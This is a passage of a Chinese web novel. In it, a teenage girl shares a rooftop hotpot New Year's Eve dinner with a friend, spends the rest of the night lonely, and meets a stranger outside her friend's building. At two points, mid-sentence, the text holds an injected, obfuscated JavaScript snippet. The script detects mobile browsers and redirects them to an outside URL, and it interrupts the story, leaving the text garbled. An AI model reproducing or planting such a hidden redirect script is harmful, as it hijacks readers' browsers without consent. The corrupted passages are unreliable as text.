宁执玉似乎对此早有预料,她无所谓地笑了笑,随后发出友善地邀请:“反正你今晚也是要找地方吃饭的,那要不要干脆跟我一起吃顿年夜饭?” 赵颖的目光从手机上转移到她脸上,确认这家伙没开玩笑后,方才不太自信地问:“你应该也没有买很多菜吧,要不我就不……” 宁执玉把脸一板,呵斥道:“跟长辈说什么客气话!有我一口吃的,还能饿死你不成?” “这种时候就别摆长辈架子啦!”赵颖忍无可忍地吐槽道。 但是等她骂完,她自己都忍不住笑了。 宁执玉笑着站起身拍拍她的肩膀:“就这么定了。今晚留下来陪我吃个火锅再走。” 18.年夜饭 其实宁执玉昨天就已经准备好今天要吃的菜了,因为用膝盖思考都能猜得出,今天一大早的菜市场和超市肯定是人山人海的。 她本来也没有准备得很多,单纯打算多搞几个菜,分量不一定大,主要吃个过年的仪式感,实在吃不完就留着下顿吃……没想到大过年的赵颖这倒霉孩子跑来投奔自己来了。 那也没关系,一起吃呗。 由于这些天来烧烤店的一楼长期关门闭户,以至于空气不太流通,人在里头待久了会有沉闷感,于是宁执玉主动提议去三楼吃火锅怎么样。 正从消毒柜里帮忙拿碗筷的赵颖很惊奇:“你这儿还有三楼?” 有的姐妹,当然有。 不过与其说“三楼”是正儿八经的一层楼,倒不如说是天台,从二楼的杂物间旁边一扇上锁的小门可以走楼梯上去,上面有安装太阳能热水器相关的装置设备。 这个不算太大的三楼平台有时候会被二舅一家拿来晾晒换季被褥床单,在边缘处也用塑料箱加泥土种了满满一排的姜葱蒜等常见的调味香料。 平时二舅家的那个老太太——宁执玉跟着表弟们一起喊她“外婆”的老人——会自己上来浇水,种菜,也不许任何人干扰她的这份种地工作。 当然了,在陈水的冬季气候下,这些植被是难以自然存活下来的,因此老宁也不需要过来帮忙浇水。 赵颖还是第一次上来这家烧烤店最顶端的小天台,她跟着宁执玉一起弯腰钻出低矮的天台出入口后,立刻被周围新鲜和熟悉的景色吸引。 她不自觉地抬头环顾四周,看着这座熟悉得不能再熟悉的县城是如何沐浴在这一天的黄昏光景里,以及周围比这栋商铺小楼高出许多层的各类建筑……她一时有些怔神地问:“宁执玉,你平时也会上来这里吗?” “呃……背书的时候?”宁执玉从一旁的储藏室里拖出了一张折叠桌子,一边将其支开一边拿着抹布在擦表面上的灰尘,“或者有时候实在是想透气的晚上,我就会偷偷溜上来发呆。” “偷偷?”赵颖不解。 “是啊,因为我外婆……就是我表弟他们喊的那个老太婆,总怀疑我要偷她的葱蒜,还把我之前种的几盆薄荷、柠檬叶都给拔了扔掉。真的是——” 宁执玉说到这里不快地抿了抿嘴,但碍于大过年的骂人不太吉利,因此把脏话咽回去,换成了一句“太坏了!”的差评。 趴在天台边缘背对着朋友,但认真听着这一切的赵颖莫名地想笑。 ……诶,临时改口的老宁有点可爱是怎么回事? 很快,宁执玉又拿出了两张小板凳,又从二楼拉来了一根电线很长的排插,打算一会儿使用电磁炉时能派上用场。 “老宁,你过来看!” 赵颖突然叫她,等宁执玉闻言看去……发现赵颖此时表情兴奋得像是在沙滩上挖到漂亮贝壳的小孩儿一般,开心地抬手指着远处的一大片老旧居民楼建筑群:“我看到我家的那个小区了!” 现在这傻孩子倒是忘记那个“家”到底有多令她难受了…… 宁执玉怀揣着这样怜爱朋友的无言念头,放下手中的东西,走到天台边上一同张望起来。她大概知道赵颖的家在哪个方向,但具体到哪一户、哪一栋楼……只有走近看才能知道。 “嗯,好像是看到了。”她认真地敷衍。 其实没有。 反正在宁执玉看来,陈水的大部分场景都是那样,老旧,落后,到处都透着一股无趣的味道……都2018年了!连必胜客这种连锁店都没入驻的地方,能有什么指望的? 唯一能让宁执玉感到生活中尚存些许慰藉的是这群朋友,王艺菡这几个人起码还给了她一种“原来我还活着”的恍然大悟感。 赵颖略微扭头看向她,冬季的寒风吹拂着她的刘海和发梢在风里略微飘舞,然后感叹道:“这么看的话,陈水真的很小。” “是啊。”宁执玉轻轻地挠了挠自己被冷风吹得有点发痒的脸颊,指甲刻意避开了脸上的那道显眼伤疤,“所以我刚来的时候……生活得很不习惯。” 说“很不习惯”都已经是委婉的说法了。 准确来说,在刚来的那一年里,宁执玉面临着家庭破碎、父母双亲的遗弃、生活环境的巨变、劫后余生……她的心理健康出现了非常严重的问题,好几次自我伤害到成功把自己送进医院急诊科。 二舅现在偶尔气急了还会骂她是个“赔钱货”,因为当时抢救时的医药费都是他出的。 宁执玉也因此停学了整整一年。 直到她某天盯着自己身上鲜血淋漓的伤口,陡然间,那种想要活下去的巨大渴求终于压过了通过折磨自己所带来的愉悦感受,身体的伤痛在一瞬间变得无趣至极。因此宁执玉终于决定日子不能再这样下去——她的人生故事就此有了新的转机。 但是大过年的,说这些过去血肉模糊的事情好像也没什么意思,因此宁执玉依旧保持着平淡的表情注视着这座小县城日复一日的风景。 赵颖若有所思起来,过了一会儿,她又问:“羊城是个什么样的地方?” “羊城?”宁执玉真的没想到她会问这个。 “啊。”赵颖探头出去,盯着下方的马路车辆和过往不算多的行人,尽量让自己的语气听起来更加轻松和不是很在意的样子,“我长那么大都没出过省嘛。老宁你跟我说说呗?” 说到关于故乡的记忆……宁执玉脑子里一瞬间冒出了各种“粤韵风华”的骂人脏话,她赶紧把这些奇怪的东西甩出去,按着记忆中故乡的模样,尽量跟赵颖挑一些有趣的地方说起来。 “那边到处都有好吃的,有全世界各国的料理,也有各种小吃和粤菜。哪怕是居民区里,但凡能开得下去的餐厅多半有一两道拿手好菜……白天鹅宾馆的虾饺里会有十三道褶子,大名鼎鼎的甜品杨枝甘露起源于利苑酒家……这些东西我都吃过。” “鸡肉是可以加进整个椰子里拿去炖汤的,特别清甜。葱油饼的香味闻得人走不动路,还有凉拌鱼皮……百花路那家糖水店开了好多年,菜单写满了一整面墙壁,来往的行人都能一眼就看到……” “我跟以前的朋友发明了一种用好几种方言和外语混杂在一起的‘黑话’,专门用来在学校里打暗号和私底下骂人。但她们如今应该都出国了,大家很多年没联系了……” 宁执玉说起这些往事时,她脸上的表情不自觉地一下子鲜活起来,话也多了不少,仿佛回到了记忆中那个依旧无忧无虑的美好童年时期……而非像是如今总是以一副平淡面目来示人的沉默模样。 不知不觉中,凝视着她的赵颖看得有点入了神。 ——原来提及那个你爱过的土地,宁执玉你这样平日里沉稳的人也会露出这般幸福的表情啊? 讲到最后,老宁陡然间长叹一口气,像是要将那些盘桓在胸腔中的郁气和幻梦都吐出,旋即冲赵颖和善地笑了笑:“以后你有机会去那边玩的话,提前叫我,我给你当导游。” “哦……那敢情好。”赵颖心情复杂地答应了。 宁执玉没有再聊了,眼看天色渐暗下来,她赶忙转身下去搬电磁炉和菜品。 等她抱着电磁炉和火锅重新上来时,发现老赵正坐在小板凳上发消息。 “在骚扰谁呢?”宁执玉随口问了句,蹲在地上将锅具和电源组装起来。 “老王。正好她问我今晚年夜饭吃什么。”赵颖小心翼翼地试探着说,“……我能跟她说吗?” 宁执玉倒是没有想那么多有的没的:“这有啥,你就实话实说呗,就说咱们都认识五六年了,头一回在我这儿蹭饭——属实是倒反天罡了。呵呵!” 赵颖也乐了:“那行,我搞个自拍给她看看……哼,谁让她抛弃我们去美国过年了。” 宁执玉知道老赵这话是开玩笑,王艺菡过年去投奔父母实乃天经地义的事情,任谁也没法指责一二。 因此她也好脾气地抬头比了个“耶”的手势,让赵颖的手机前置摄像头将两人坐在夕阳里准备吃火锅的样子拍摄下来。 果不其然,看到图片后王艺菡在软件那端发出了文字版的尖锐爆鸣,并立刻打视频电话过来,“质问”老宁为什么只请赵颖吃饭,不请自己吃火锅?还是不是朋友了?宁某人的心里是不是没有她了? “那我把吃剩的火锅汤底给你寄过去好不好……” 宁执玉笑着骂了这不知人间疾苦的富婆朋友几句,随后摆摆手,不聊了,下去拿东西。 等她搬运了两趟(主要是一次性拿的菜品也不多),准备最后一趟拿东西上去时,发现赵颖有点不好意思地搓着手跑下来:“电话打完了!你还有什么东西没拿?要不要我来帮忙?” “帮忙啊……”宁执玉想了想,“那你就在厨房里直接调自己的料碟吧,我就不把这些酱油啊醋啊的瓶瓶罐罐拿上去了。” “你居然还想拿上去给我调吗?”赵颖故作吃惊,“老宁你好贴心!” “这话说的。赵颖你第一天认识我?”宁执玉眯着眼睛鄙夷道。 “嘿嘿,也对。” 当天台出口处的白色电灯亮起,两人坐在寒风中看着锅内逐渐沸腾的牛骨汤底,以及摆满整整一桌的各种菜品,感觉有点过年氛围了。 赵颖好奇地打量着每一道菜,除去生菜、切段玉米、土豆片这些充场面的蔬菜根茎类以外,还有鲜牛肉片、生鸡、鱼片、虾滑……甚至还有满满一碟卤好的切片牛腱子肉。 “老宁,你原本就打算一个人吃那么多菜?好奢侈啊。” “过年嘛!” 反正对于这个国家的人而言,这一天发生的所有事情都可以归结于这几个字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195930|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵颖用手撑着自己的下巴,忍不住问道:“这些都是你买的吗?” ——你这是把过年经费全花在这一顿饭上了?接下来几天的日子不过啦。 出乎预料的是,宁执玉说起这个居然还有点小骄傲,向朋友炫耀起来: “这个牛肉片,还有卤牛肉,是粿条汤那家店的张老板送我的!我都说他们热情到想把我拉去一起吃年夜饭啦……对了,这个卤牛肉是我自己做的,也是第一次做,不知道怎么样。” “那我尝尝?” “吃!”老宁话音未落,就用公筷夹了一片卤牛肉放进朋友的碗里,然后才给自己夹肉。 赵颖仔细咀嚼了一会儿后,脸上挤出一个有点努力微笑的表情:“挺好吃的。” “……好假啊你。”同样察觉到不足之处的宁执玉叹了口气,“盐放少了,时机没把握好,不是很入味。第一次做这个还是经验不足。我等会儿去厨房拿点盐加在这个汤汁里,看看会不会好点。” 赵颖坚持夸奖她:“但我觉得你的手艺已经比我好很多了!” “嗯嗯知道了。真是鼓舞人心啊。” 老赵假装没听出朋友的阴阳怪气,继续好奇地问:“那这只鸡呢?不会也是你帮人补课换来的吧?” “我哪有那么多时间给不同的人补课。”宁执玉低头调节电磁炉的火力,开到最大,“这事儿嘛,其实是我之前帮菜市场卖活鸡摊位的一个大婶儿一些小忙,昨天早上我去买菜,她就把这只鸡杀好塞给我了,说什么大过年的补补身体,我就把它端上来。” “你这街坊邻居不错啊!都挺热情。”赵颖啧啧称赞。 “确实。”宁执玉笑了笑,随口说道,“我老家有句话叫作‘无鸡不成宴’……再简陋的宴席也得有只鸡才算是合格。” “好吧,那这个鱼片呢?”赵颖指着一旁刀工漂亮的黑鱼片询问道。 “年年有余(鱼)啊。” “不,我的意思是,鱼片也是买的吗?” “鱼是买的,”宁执玉终于承认自己为年夜饭花了点钱,“但在厨房的桶里养了一天,所以这鱼片是我刚在厨房切好的。” 赵颖惊为天人地看着她!过了半晌才震惊道:“所以你刚才下去好一会儿就是为了杀鱼和切鱼片?” “有什么问题吗。”宁执玉满脸无辜地反问道,“吃鱼就得新鲜。不然别吃了。” “……好的,没问题。” 讪笑的赵颖还是想象不出面前斯文秀气的学霸同学在厨房里是如何徒手弄死一条鱼,还把它当场给片了……大家都觉得杀鸡宰羊的屠夫下刀的那一刻很厉害,但如果屠夫是你的同班同学,那种不明觉厉的感觉就更强烈了! 在陆续介绍了一圈菜品后,宁执玉终于满足了那种可以向人炫耀自己过节仪式感的微妙快乐,再加上火锅汤底已经沸腾,她便一边下虾滑和其他丸子,一边询问老赵今天拿过来的那个打包饭盒里头装了什么。 “啊!我给忘了!”赵颖一下子坐直了身子,想要下楼去大堂拿回来,却发现宁执玉默默地从小桌子底下拿出了这东西,推到她面前。 “就知道你忘了。” “绝了,你们这些学霸的记性是真的厉害……”赵颖先是叹着气夸奖,随后打开盒子展示给她看,“凉面土豆。” 里面满满一盒,显然是还没动筷就被完整打包过来了。 宁执玉:? 她疑惑地抬起头看向神色有点腼腆的赵颖,问道:“你来蹭饭就蹭饭,怎么还自己带饭?这么客气的吗。” “本来也没想着在你这儿吃火锅的。”赵颖装作满不在乎的样子解释道,“所以我原本打算晚上随便吃点凉面土豆就行。” 宁执玉用一种平静深邃的眼神看着赵颖好几秒,又若无其事地低头去拨动火锅里的食材了。 “赵颖,你以后过年要是还遇到今年这样的事情,直接来找我吧。” “真、真的可以吗?不会打扰你吗?”赵颖很兴奋地再次确认。 她觉得跟好朋友一起吃年夜饭,可比跟自家那群类人生物聚餐要有“年味”多了。 “当然可以啊。”宁执玉很平和地笑着说道,“反正你知道的,我总是一个人嘛。哪有什么打不打扰的。” 闻言赵颖顿时呆了呆,却不知道该接怎样的话才好,但是宁执玉没有再多说什么,只是给她夹了一筷子刚刚烫好的牛肉片。 “吃。”宁执玉言简意赅地发布命令。 赵颖努力用平时的笑容来掩盖自己这一刻内心的复杂情感,她低下头,想要拿起筷子时忽然顿住了:“……这牛肉还是粉的!熟没熟啊?” “该死的外地佬,一点都不会欣赏,我们潮汕牛肉就是这样的。不吃还给我!” “宁执玉你什么时候又成潮汕人了啊?还有,不要玩地域歧视——” 19.我不明白 等两人吃完天台上的火锅年夜饭并把锅碗瓢盆都搬下一楼的厨房后,时间也才将近晚上七点。 “老宁你今晚忙前忙后很辛苦了,要不我帮你洗碗吧?”赵颖对着正在穿戴围裙的朋友主动请缨。 宁执玉看了她一眼,露出稍显促狭的笑容来:“不用。” “为什么?” “我怕你掉进洗碗槽里淹死。” 赵颖:? 这家伙吃饱喝足后又开始不讲人话了…… 但实际上真实的理由是厨房洗碗槽这边没有安装热水管道,洗碗纯靠冷水和个人的耐受力,大冬天的洗一趟下来简直跟把手泡冰水里没两样,实在太难受了……宁执玉不知道老赵在家洗碗时是用冷水还是热水,也没问过对方。 但无所谓,起码在这里,她不会让上门做客的朋友跟自己一样受苦。 赵颖见对方坚持不让自己插手这份清洁工作,只好独自倚在厨房门口,一边跟老宁随意聊天一边看她是如何戴着橡胶手套洗碗的。 还好两人今晚使用的碗筷和碟子都不算太多(跟平时开店的工作量相比),十来分钟就搞定收拾完了。 搞完所有收尾工作,宁执玉刻意背对着朋友把手套摘下来晾好,然后把冻得皮肤通红的双手用清水再次洗净后赶紧用毛巾擦干,方才揣进外套的兜里尽量回温,转身询问:“行了。接下来老赵你今晚有什么活动安排?” 倚在门边发呆的赵颖似乎并未注意到老宁的小动作,依旧抬头盯着厨房的烟熏颜色天花板许久,慢慢道:“回家吧……我爸估计在外婆家也是待不久的。” “好啊。”宁执玉对此早有预料地平淡说道,“那你就赶紧回去吧,免得又被骂了。” “唉,我也是这样想的。”赵颖叹了口气。 不怎么想伸手出来的老宁没有选择走正门的卷帘门,而是打开了更为方便的厨房后门——于是赵颖便一手牵着狗绳,另一只手抱着哼哼唧唧的狗崽穿过地面稍显湿滑的厨房。 两人一狗很快绕回到外头的马路上,双手插兜的宁执玉本想说从这儿去老赵家步行也就十来分钟,自己就不送对方回去了。 没想到赵颖在看见隔壁正在营业的便利店时突然想到什么,当即把狗绳往宁执玉的口袋里一塞,不容置疑道:“帮我拿一下。” “唔?” 宁执玉差点没抓住那根险些从自己口袋里滑出来的口绳,疑惑地看看老赵跑进便利店的背影,又低头看看狗。 眼睛明亮的小狗冲她快速地摇尾巴,模样很亲昵。 宁执玉没忍住逗它玩的那种冲动,用鞋背轻轻地抬了抬这只毛茸茸小狗的下巴。 小狗柔软地“嗷呜”了一声,很无辜地看着她…… 短短两分钟后,赵颖又急匆匆地结账跑出来。老宁注意到她的手里还拿着四五片不像是香烟盒、但是很大的红色方形包装纸。 她把这一摞玩意儿塞到宁执玉牵着狗绳的那只手里,顺手将狗绳拿回去。 “这是……”老宁甚至没来得及看清楚包装纸的字样。 “——暖宝宝。不许拒绝!这几天太冷了,你先拿来捂手吧。”赵颖特别爽朗地说道,“这实体小店里卖得太贵,回头我在网上买个能充电的暖手宝送你!” 宁执玉忽然愣住了。 ——原来她也知道我的手现在很冷吗? 但是赵颖似乎不想等朋友说什么客套话,她拉着地上的小狗往前跑了两步,想起什么,笑嘻嘻地回头朝朋友挥挥手:“老宁,新年快乐呀!” “……嘿,老赵你也是!新年快乐!” 此刻单手插兜的宁执玉最终还是举起了手里的那几片暖宝宝,笑着对着朋友的方向用力地也挥了一下。 ………… …… 烧烤店里又恢复了一人独处时候的安静,宁执玉把大堂墙壁上的电视机打开,结果发现今年的春晚节目还没到播出的时间。 电视里,一男一女的两个主持人正在互相讲着一些吉祥话来活跃现场气氛,店外头开始有人放零零散散的烟花了……感觉到处都一派和睦的过年景象。 她想了一下,算算时间,决定还是先去洗个澡回来再看春晚也不会错过什么重要节目。 毕竟现在的春晚一年比一年要无聊——这对于看着本山叔的每年春晚小品节目长大的老宁来说,看这如今的无聊节目纯属放空大脑,让脑子休息。 不得不说,对于大部分没有暖气过冬的南方人而言,洗澡历来是个艰难的挑战。 洗澡前:我不想洗澡。 洗澡期间:人生要是也跟这些热水一样温暖就好了…… 洗澡后:我讨厌洗澡!! 宁执玉当然也不例外,当她哆哆嗦嗦地用毛巾裹住脑门和湿漉漉的头发,穿着一身单薄的打底衣服冲出厕所时,一度怀疑自己会冻死在从前往房间的半路上。 事实上,为了省钱但又为了稍微有点造型,如今的老宁通常一年去理发店剪两三次,她会刻意把一头短发留成长发——然后把剪下来的长发卖给理发店的老板。 大半个月前宁执玉才去过理发店一趟,所以如今是容易打理的短发……好在等她的头发用吹风筒吹个半干,身上又赶紧穿上了厚实的外套后,小命总算成功捡回来。 趁着这个时间,宁执玉盘腿坐在床上,一边吹头发一边低头看手机,发现四人聊天群里已经叽叽喳喳地刷新了将近上百条未读消息,朋友们还@了自己好几次。 于是她也拿起手机加入其中。 【死是凉爽的夏夜(宁执玉):大家过年好啊,大吉大利,红包拿来!伸手.jpg】 远在太平洋彼岸的王艺菡立刻发了一个足足200块的随机四人红包,引得其它两人火速冒泡,纷纷进行手速争抢。 宁执玉刻意等了几分钟,确认朋友们都抢完以后自己才进去抢红包——不然以她那强到诡异的偏财运,十次抢红包里能有七次抢到最大份额,其他人加在一起连她的零头都赶不上。 随后周喜也发了一个新红包……眼看着沙雕好友们纷纷在群里发红包,宁执玉也很应景地发了个群随机红包——于是她今晚赚到的红包费又花了个七七八八出去。 周喜和王艺菡瞬间领取她的红包,过了几秒后,系统显示赵颖也领了。 宁执玉想了想,又打开赵颖的私聊界面,戳戳这人。 【宁执玉:今晚咋样? 赵颖:啥? 宁执玉:你爸他们回来没,有说什么吗。 赵颖:……他连我今晚在哪里吃饭都没问,当然是没骂。 赵颖:不过我看他在外婆那里也是受了气,居然还跟我宽慰道歉了两句。 宁执玉:啊?太阳打西边出来了?? 赵颖:是吧,我的第一反应也跟你现在一样。 赵颖:——超级!不自在! 赵颖:不过他在给我和赵子璇发新年红包时,瞒着阿姨偷偷给了我一个超厚的大红包! 宁执玉:哇!恭喜恭喜,见者有份!新年福气到,利是滚滚来! 赵颖:可。 赵颖:[系统:对方的新年红包发出,请及时接收。] 宁执玉:……真给? 宁执玉:其实我就随便说说的,老赵你还是自己留着这压岁钱吧。 赵颖:没事,姐今晚心情好,赏你的。 宁执玉:那就谢谢颖姐了~小妹不跟你客气啦~ 宁执玉:[系统:已领取对方的红包] 赵颖:嘿嘿。 赵颖:老宁你今年也要开心点哦。 宁执玉:嗯?这话不是我之前跟你说过的吗? 赵颖:原样奉还。 宁执玉:好的捏。】 后面两人就没有继续聊天了,宁执玉收起手机,随手摸了本课外书,穿着拖鞋走下一楼大堂继续看电视里的春节联欢晚会节目了。 央视春晚一如既往的无聊透顶,甚至微博上的春晚沙雕段子都要比节目本身要有意思得多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200311|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 独自坐在烧烤店大堂里的宁执玉刷了一会儿手机,又切换了几个地方台的春晚节目,甚至连B站的直播节目都看了一会儿……她还是觉得有些莫名的烦躁和无聊,实在静不下心来看书。 “今年是咋回事啊。” 有点郁闷的宁执玉懒洋洋地趴在桌上,侧着脸继续玩手机,耳畔传来电视机里载歌载舞的欢乐声音。 时间很快来到晚上十点多,人们开始在街头巷尾的空旷地方放烟花,哪怕隔着门帘都能噼里啪啦地吵到宁执玉的耳膜,让她更加难以静下心来。 算了算了,回去躺着吧。 宁执玉也搞不清楚今年自己是哪根神经搭错了,明明过去几年的春节也大部分是一个人独处的时候更多,哪怕有时候去朋友家蹭饭,也不会待到太晚或者过夜。 于是她又披着一件黑色的“山寨加拿大鹅”羽绒服回到了二楼的房间里。老宁之前特意查过桃宝同款,发现正版鹅的衣服起码五位数起步,而舅妈把这件衣服买回来时据说花费连三百元不到。 更准确来说,是大表弟徐宗昌前两年没发胖时,舅妈给他买的男款新外套,结果那人没穿几回就开学了。 再往后,徐宗昌就因为青春期的缘故,导致体型急速变胖,彻底穿不上这件外套。至于还在读小学的小表弟明显也还远远用不着它……因此才会导致今年的舅妈像是恩赐一般地作为“新年新衣服”赏给了宁执玉。 老宁对这一家的抠门行为已经习以为常,收到这件来自弟弟的旧外套充当新衣也没什么意见。毕竟她上一件冬季大衣外套已经穿了三年了,实在是又旧又磨损的……能有的换就不错了。 她是个很知足的人。 不过偶尔午夜梦回自己以前的那个家和占据足足一个房间的衣帽间……宁执玉还是会陷入一阵难以言喻的怅然。 都过去了。她这么安慰着自己。别再去想他们了。 然后老宁开始刻意地哼歌,试图转移自身注意力。结果才哼了两句,她突然发现自己在不自觉地唱Eason的《单车》。 【难离难舍想抱紧些,茫茫人生好像荒野,如孩儿能伏于爸爸的肩膊,谁要下车……】 这首歌还是她爸当年的车载音响里最常出现的几首之一。 意识到父母的影响依旧残留在自己身上的宁执玉站在原地足足呆愣了两秒,恰好一道声音特别响的烟花近距离地在屋外的街道上空炸开,把这孩子又吓了一跳——她终于有点崩溃地抱住自己脑袋,嗷嗷地大吼起来。 “宁执玉你个傻逼在搞毛啊!!” 宁执玉怒气冲冲地闯进自己的房间——也不知道这股无名的怒火到底是为何生出的,可能是记忆里那个爱与恨纠缠的家庭,也可能是如今格外孤独的处境——但无论如何,她径直换了身外出的衣服,然后拉开床头柜上一个带小锁的抽屉,蹲下身去查看。 这种锁都是防君子不防小人的,只是表达一个防盗态度而已,因此很快露出了抽屉里面的一些不算多的零钱和硬币、与朋友们的几张合影照片和一个红色的哑光烟盒。 宁执玉格外迟疑地看着那个印着金色天安门城楼图案的高档烟盒好几秒,伸手拿起,打开一看,里面还静静地躺着两根完好无损的香烟。 ——为什么只有两根呢? 宁执玉再一次地想到自己在这家店年前结束营业前的最后一天时,在一个包工头老板和朋友们喝酒聚餐后的餐桌上捡到它时心里所发出的感叹。 当时那个小老板都醉得不省人事,他的朋友们也各个好不到哪里去,这包被人抽剩的香烟就这样遗落在杯盘狼藉的桌上。 宁执玉沉默而纠结地思考了片刻,最后还是将这个烟盒塞进自己的外套口袋里,转身一股脑儿地走了出去。 她忽然很想见自己的朋友,想跟她分享好东西,想近距离听听她的声音……而不是大过年的,还要自己一个人心烦意乱地待在这个冷冰冰的烧烤店里无聊到爆炸。 嗯,就这么定了。 20.请不要 整个老旧小区的路上没有几个人,偶尔走过去的都是晚归的行人亦或者嬉笑着准备去放烟花的孩童和家长,如宁执玉这样格格不入的外来访客还真不算多。 此时距离跨年的整点还有二十分钟左右,陈水的上空几乎被各地飞起的璀璨烟花给占据了夜空的大半部分。 穿着黑色厚外套的宁执玉来到了老赵家楼下,东张西望片刻,最终选择坐在一张冷冰冰的大理石休闲长椅上,却没有急着联系对方——浑身被这破椅子给冻得一个激灵,这人的脑子总算清醒了点。 “奇了怪了,我到底在干什么……”她困惑地喃喃自语。 明明两人这几天也没少见面和玩耍,甚至不到四个小时前才刚结束了年夜饭聚餐,自己怎么又脑袋一热地跑过来见对方呢? 赵颖会怎么想?她会不会觉得宁执玉这货性格奇怪又黏人?她会不会觉得厌烦……说实话,要是有个不识趣的家伙总是在自己专心学习时总是跑过来打扰,老宁自觉也会讨厌这傻子的。 ——没想到现在我成傻子了。 宁执玉思来想去地纠结了几分钟,最后决定还是试着问问对方在做什么,要是赵颖在忙别的事情或者已经睡着,她就自行回去得了。 但是消息发过去后好一会儿都毫无响应,她抬起头看向赵颖家,发现无论是客厅还是她和赵子璇的那个房间都已经熄灯了。 老赵睡觉了?不跨年了? 但“不跨年”这种事对于精力旺盛的高中生而言简直不可想象,于是宁执玉看看时间还有十来分钟,索性一咬牙,直接打了个语音电话过去。 打不通。 [系统:对方正在占线中] “嘶!”宁执玉忍不住倒吸一口凉气,她大概猜到赵颖这个时候在做什么了。 既然没及时回消息,而拨过去的语音电话也在占线中,说明——她多半在跟王艺菡开视频电话聊天! 这一刻的赵颖总不能是跟周喜聊得那么投入吧……老周此时大概忙着依偎在帅哥新男友的怀里一起看烟花恩恩爱爱呢。 想到这里,宁执玉倒是有点气恼于自己的反应能力和推理能力为什么要那么迅速了,这些事情为什么一下子就猜到?就不能明天再想通吗! 所以说,她到底今晚没提前通知任何人,突然就热血上头地跑来朋友家楼下发呆,究竟是何意味? 于情于理,宁执玉当然知道赵颖没有做错什么,也知道她和王艺菡确实是关系最要好的朋友——这点无论是她还是周喜都无法否认。 相处异地的好朋友之间跨年打个电话怎么了?很正常吧。 家里没出事情之前,老宁也还跟要好的小伙伴一起直播看跨年演唱会呢……所以她完全能理解赵颖和王艺菡这会儿打电话背后的行为逻辑是怎样的。 根本没办法指责任何人啊——宁执玉思来想去,觉得这件事情里最神经病的人就是自己。 而且说实话,老宁很喜欢王艺菡。 老王有钞能力不说,还为人仗义又大方。认识对方的这些年里,好几次都是王艺菡主动或被动地帮了她大忙,所以平心而论,宁执玉也根本没办法去讨厌这样一个本身就很好的女孩子。 那么赵颖呢?她宁执玉今晚为什么又要来找赵颖? 是因为不想一个人在烧烤店里待着吗,还是觉得对方同为留在这座小县城里过年的唯一朋友,所以只能找彼此慰藉? 老宁被自己的这个有点阴暗的想法给吓了一跳。 但她旋即又叹了口气。 这样猜来猜去有什么意思,反正跨年的零点马上就要到了,而她甚至联系不上最近的朋友……所以说到底,今晚的出门也不过是在感动自己罢了。 五彩斑斓的烟花在头上不停地绽放和熄灭,错乱的光影落在宁执玉那张被冷风冻得有点僵硬的脸上,她苦笑着从兜里摸出那个红色的香烟盒子,打算抽完一根就走。 做人有时候也别自讨没趣了。 忽然,宁执玉顿住了。 因为她看见先前那个留着黑色长发、习惯性眯着眼睛的奇怪姐姐正挽着另外一个女生的手从道路的另一头走过来。 眯眯眼女生也注意到她,当即停下脚步,笑着对自己的朋友说了几句话,又将手中的塑料袋递给对方,像是示意对方先回去。那看不清具体面貌的女生则是摇摇头,不太情愿地用手指了一下宁执玉所在的方向并对眯眯眼女生絮絮叨叨起来。 本来今晚就心情不好的宁执玉:啧。 你们聊天就聊天,没事指我干什么。回头把你们的指头都给折了。 不过最后眯眯眼女生还是成功地说服了自己的朋友,让其提着袋子走了,她本人则是好整以暇地朝着老宁所在的长椅方向走过来。 “嘿,新年好。”眯眯眼靠近后微笑着说。 宁执玉没好气地瞥了这个气质轻浮而奇妙的姐姐一眼,大过年的,决定还是伸手不打笑脸人:“新年好。” 眯眯眼好整以暇地站在长椅前问她:“那么晚了,你一个人在这儿干什么?” “关你什么事。” “上次你那个朋友呢?”眯眯眼显然还记得赵颖,“不跟你一起来遛狗了?” 宁执玉:“……” 可恶,哪壶不开提哪壶啊。 “哟,你好像心情不太好啊?”这人貌似终于注意到了宁执玉的情绪不佳,她反而觉得挺有意思的样子,当即在长椅的另一端坐下来。 ——老宁满意地看到这个眯眯眼女生也被这破椅子给冻了一下屁股,浑身颤了颤。 这一幕有点滑稽,因此宁执玉说话也没那么冲了,只是有点郁闷地说:“心情好,心情差……又能怎么样呢。” “这话说的,开心是一天,不开心也是一天。看你自己怎么选择吧?”这个长发姐姐扭头看向她,语气悠然,“你现在想不想抽烟?我请你。” 宁执玉面无表情地拒绝:“从小家里人就教育我,不要吃陌生人给的食物和饮料。” 眯眯眼姐姐认真反驳:“可你说的这里面不包括烟。” “谁家大人会教育小孩‘别抽陌生人给的烟’啊?合着自己家的烟就能随便抽是吧。”老宁吐槽。 眯眯眼女生顿时笑了。 她真的很爱笑,应该是个运气很好的家伙——跟宁执玉这种倒霉蛋不一样。 “我叫徐敏敏。”这人下一秒自我介绍道,“现在你知道了我的名字,我们就不算陌生人了吧?” 谁问你名字啦,根本0人在意好吧……这个自来熟的眯眯眼怪人怎么回事? 宁执玉用看外星人的眼神看着自我介绍的徐敏敏好几秒,方才惜字如金地吐出三个字:“宁执玉。” “喔,挺漂亮的名字。”徐敏敏打量了她一眼,“跟你本人很般配。” 老宁冷笑一声,只当她在讽刺已经破相的自己。 “刚才那个跟你走在一起的女生是谁?”宁执玉随口反问,“你的邻居吗?” 